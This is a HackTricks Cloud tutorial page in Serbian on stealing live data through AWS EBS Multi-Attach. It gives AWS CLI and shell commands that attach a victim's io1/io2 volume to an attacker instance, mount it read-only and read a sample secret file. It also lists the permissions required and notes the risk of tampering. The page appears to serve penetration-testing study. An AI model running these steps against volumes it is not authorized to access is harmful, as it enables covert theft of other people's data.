AWS - Krađa podataka u realnom vremenu putem EBS Multi-Attach
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Sažetak
Zloupotrebite EBS Multi-Attach da čitate sa aktivnog io1/io2 data volumena prikačivanjem istog volumena na instancu pod kontrolom napadača u istoj Availability Zone (AZ). Montiranje deljenog volumena kao read-only daje trenutni pristup fajlovima koji se upotrebljavaju bez kreiranja snapshots.
Zahtevi
- Ciljni volume: io1 ili io2 kreiran sa
--multi-attach-enabledu istoj AZ kao i instanca napadača. - Dozvole:
ec2:AttachVolume,ec2:DescribeVolumes,ec2:DescribeInstancesna ciljni volume/instance. - Infrastruktura: Nitro-based instance types koje podržavaju Multi-Attach (C5/M5/R5 families, etc.).
Napomene
- Montirajte kao read-only sa
-o ro,noloadda smanjite rizik od korupcije i izbegnete journal replays. - Na Nitro instancama EBS NVMe uređaj izlaže stabilan
/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...put (pomoć ispod).
Pripremite Multi-Attach io2 volume i prikačite ga žrtvi
Primer (kreirajte u us-east-1a i prikačite žrtvi):
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)
# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
Na žrtvi, format/mount the new volume i upišite osetljive podatke (ilustrativno):
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync
Prikačite isti volume na instancu napadača
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
Montiraj samo za čitanje na attacker i pročitaj podatke
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt
Očekivani rezultat: Isti VOL_ID prikazuje više Attachments (victim and attacker) i attacker može da pročita fajlove koje je victim napisao bez kreiranja bilo kakvog snapshota.
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
Pomoć: pronađite NVMe putanju uređaja po ID-u volumena
Na Nitro instancama, koristite stabilnu by-id putanju koja sadrži ID volumena (uklonite crticu nakon vol):
VOLNOHYP="vol${VOL_ID#vol-}"
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
Impact
- Neposredan pristup za čitanje živih podataka na ciljnom EBS volumenu bez kreiranja snapshots.
- Ako je montiran u režimu čitanja i pisanja, napadač može manipulisati datotečnim sistemom žrtve (rizik od korupcije).
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

